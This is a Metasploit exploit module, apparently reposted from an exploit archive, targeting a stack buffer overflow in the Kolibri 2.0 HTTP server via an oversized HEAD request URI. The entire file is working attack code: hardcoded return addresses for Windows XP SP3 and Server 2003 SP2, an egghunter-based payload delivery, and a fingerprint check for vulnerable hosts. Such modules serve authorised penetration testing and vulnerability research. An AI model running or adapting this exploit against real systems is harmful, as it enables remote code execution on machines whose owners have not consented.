Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow

##
# $Id: kolibri_http.rb 10887 2011-08-03 12:19:19Z mr_me $
 
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    HttpFingerprint = { :pattern => [ /kolibri-2\.0/ ] }
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Egghunter
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow',
            'Description'    => %q{This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.},
            'Author'         =>
                    [
                        'mr_me <[email protected]>', # msf
                        'TheLeader' # original exploit
                    ],
            'Version'        => '$Revision: 10887 $',
            'References'     =>
                [
                    [ 'CVE', '2002-2268' ],
                    [ 'OSVDB', '70808' ],
                    [ 'BID', '6289' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/15834/' ],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'       => 3000,
                    'DisableNops' => true,
                    'BadChars'    => "\x00\x0d\x0a\x3d\x20\x3f",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP sp3', { 'Ret' => 0x7E429353 } ] ,
                    [ 'Windows Server 2003 sp2', { 'Ret' => 0x76F73BC3 } ] ,
                ],
            'DisclosureDate' => 'Dec 26 2010',
            'DefaultTarget'  => 0))
    end
 
    def check
        info = http_fingerprint
        if info and (info =~ /kolibri-2\.0/)
            return Exploit::CheckCode::Vulnerable
        end
        Exploit::CheckCode::Safe
    end
 
    def exploit
        #7E429353    FFE4            JMP     ESP
        # For a reliable and large payload, we use an egg hunter
        # and direct RET to execute code
        print_status("Sending request...")
        eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars)
        sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack('V')
        sploit << eh_stub
        send_request_raw({
            'uri'     => "/" + sploit,
            'version' => '1.1',
            'method'  => 'HEAD',
            'headers' => {'Content-Type' => eh_egg},
        })
 
        handler
    end
 
end



#  0day.today [2018-01-01]  #